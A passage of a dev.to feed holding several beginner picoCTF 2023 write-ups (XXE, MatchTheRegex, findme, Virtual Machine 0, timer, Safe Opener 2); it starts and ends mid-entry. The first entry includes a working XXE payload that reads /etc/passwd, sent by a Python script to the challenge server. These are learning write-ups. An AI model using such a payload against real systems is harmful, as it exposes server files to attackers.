Additional details will be available after launching your challenge instance.&lt;/p&gt;



&lt;p&gt;using this python script you can get the flag by sending a request using python&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;saturn.picoctf.net:port&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;# 'Content-Length': '126',
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;application/xml&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Accept&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Origin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Referer&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;# 'Accept-Encoding': 'gzip, deflate',
&lt;/span&gt;    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Accept-Language&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;en-GB,en-US;q=0.9,en;q=0.8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Connection&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;?xml version=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;1.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; encoding=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;UTF-8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ENTITY example SYSTEM &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/etc/passwd&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;gt; ]&amp;gt;&amp;lt;data&amp;gt;&amp;lt;ID&amp;gt;&amp;amp;example;1&amp;lt;/ID&amp;gt;&amp;lt;/data&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/data&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we can see flag in the repsonse:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>python</category>
      <category>picoctf</category>
    </item>
    <item>
      <title>MatchTheRegex</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:32:08 +0000</pubDate>
      <link>https://dev.to/brunoblaise/matchtheregex-2pii</link>
      <guid>https://dev.to/brunoblaise/matchtheregex-2pii</guid>
      <description>&lt;h1&gt;
  
  
  MatchTheRegex
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: SUNDAY JACOB NWANYIM&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
How about trying to match a regular expression&lt;br&gt;
The website is running here.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; This challenge launches an instance on demand.&lt;/p&gt;



&lt;p&gt;Looking inside the script tag we can see:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
    &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;send_request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;val&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="c1"&gt;// ^p.....F!?&lt;/span&gt;
        &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`/flag?input=&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res_json&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res_json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="p"&gt;})&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The regex is supposed to be &lt;code&gt;^p.....F!?&lt;/code&gt;, literally the first and only guess was &lt;code&gt;picoCTF&lt;/code&gt;, when I entered it gave the flag:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>regex</category>
      <category>cybersecurity</category>
      <category>picoctf</category>
      <category>beginners</category>
    </item>
    <item>
      <title>findme</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:23:01 +0000</pubDate>
      <link>https://dev.to/brunoblaise/findme-3l32</link>
      <guid>https://dev.to/brunoblaise/findme-3l32</guid>
      <description>&lt;h1&gt;
  
  
  findme
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Help us test the form by submiting the username as test and password as test!&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; This challenge launches an instance on demand.&lt;/p&gt;




&lt;p&gt;Welp I'm not sure what's happening but I did solve this.&lt;/p&gt;

&lt;p&gt;I used python script but event burp suite may be used to do this which is easy, but I find this one very easy.&lt;/p&gt;

&lt;p&gt;Remember to remove and add the port they gave you.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Host&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;saturn.picoctf.net:port&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="c1"&gt;# 'Content-Length': '30',
&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Cache-Control&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;max-age=0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Upgrade-Insecure-Requests&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Origin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Content-Type&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;User-Agent&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Accept&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Referer&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="c1"&gt;# 'Accept-Encoding': 'gzip, deflate',
&lt;/span&gt;  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Accept-Language&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;en-GB,en-US;q=0.9,en;q=0.8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Connection&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;close&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;test&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;test!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;allow_redirects&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Base 64 id heaeder
&lt;/span&gt;&lt;span class="n"&gt;part_1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;http://saturn.picoctf.net:port/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                         &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# Base 64 id header
&lt;/span&gt;&lt;span class="n"&gt;part_2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;


&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;part_1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;part_2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;NOw decrypte the &lt;code&gt;ids&lt;/code&gt; from base64 which gave the two parts of the flag that when combined gave me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>picoctf</category>
    </item>
    <item>
      <title>Virtual Machine 0</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:08:44 +0000</pubDate>
      <link>https://dev.to/brunoblaise/virtual-machine-0-3i75</link>
      <guid>https://dev.to/brunoblaise/virtual-machine-0-3i75</guid>
      <description>&lt;h1&gt;
  
  
  Virtual Machine 0
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: LT 'SYREAL' JONES&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
Can you crack this black box?&lt;br&gt;
We grabbed this design doc from enemy servers: [Download]. We know that the rotation of the red axle is input and the rotation of the blue axle is output. The following input gives the flag as output: [Download].&lt;/p&gt;



&lt;p&gt;I searched google what the heck is a &lt;code&gt;.dae&lt;/code&gt; file is, and its a file for models and can be opened in blender.&lt;/p&gt;

&lt;p&gt;Opening the model in blender we get a lego construction with 2 wheels: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Blue - 8 teeth&lt;/li&gt;
&lt;li&gt;Red - 40 teeth&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We're told that the input is the number of times we turned the red wheel and the output is the number of times we turned the blue wheel.&lt;/p&gt;

&lt;p&gt;Turing the red wheel once rotates the blue wheel 5 times so that's their relationship (idea from the hint), so if we just multiply the input by 5 we get the output which is a number that's supposed to be the flag. &lt;/p&gt;

&lt;p&gt;There's only one thing to do now and it's to decode it to bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;Crypto.Util.number&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;long_to_bytes&lt;/span&gt;

&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;39722847074734820757600524178581224432297292490103995908738058203639164185&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;long_to_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we get the flag:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>tutorial</category>
      <category>picoctf</category>
    </item>
    <item>
      <title>timer picoCTF 2023</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:05:20 +0000</pubDate>
      <link>https://dev.to/brunoblaise/timer-picoctf-2023-41be</link>
      <guid>https://dev.to/brunoblaise/timer-picoctf-2023-41be</guid>
      <description>&lt;h1&gt;
  
  
  timer
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: LOIC SHEMA&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
You will find the flag after analysing this apk&lt;br&gt;
Download [here].&lt;/p&gt;




&lt;p&gt;I searched google &lt;em&gt;analyze apk file online&lt;/em&gt; and I found this &lt;a href="https://www.sisik.eu/apk-tool"&gt;site&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;Uploading the file into it, the site said that the &lt;code&gt;versionName&lt;/code&gt; of the file is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;picoCTF{your flag}&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>beginners</category>
      <category>java</category>
      <category>picoctf</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Safe Opener 2</title>
      <dc:creator>Mudacumura Brunoblaise </dc:creator>
      <pubDate>Sat, 01 Apr 2023 14:02:36 +0000</pubDate>
      <link>https://dev.to/brunoblaise/safe-opener-2-4n0l</link>
      <guid>https://dev.to/brunoblaise/safe-opener-2-4n0l</guid>
      <description>&lt;h1&gt;
  
  
  Safe Opener 2
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;100 points&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AUTHOR: MUBARAK MIKAIL&lt;/p&gt;

&lt;p&gt;Description&lt;br&gt;
What can you do with this file?&lt;br&gt;
I forgot the key to my safe but this &lt;a href="https://github.com/LeonGurin/picoCTF-2023/blob/main/Reverse%20Engineering/Safe%20Opener%202/SafeOpener.class"&gt;file&lt;/a&gt; is supposed to help me with retrieving the lost key. Can you help me unlock my safe?&lt;/p&gt;



&lt;p&gt;Using an online java decompiler like &lt;a href="http://www.javadecompilers.com/"&gt;this one&lt;/a&gt; we get the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.IOException&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Base64&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.Reader&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.BufferedReader&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.io.InputStreamReader&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// &lt;/span&gt;
&lt;span class="c1"&gt;// Decompiled by Procyon v0.5.36&lt;/span&gt;
&lt;span class="c1"&gt;// &lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SafeOpener&lt;/span&gt;
&lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
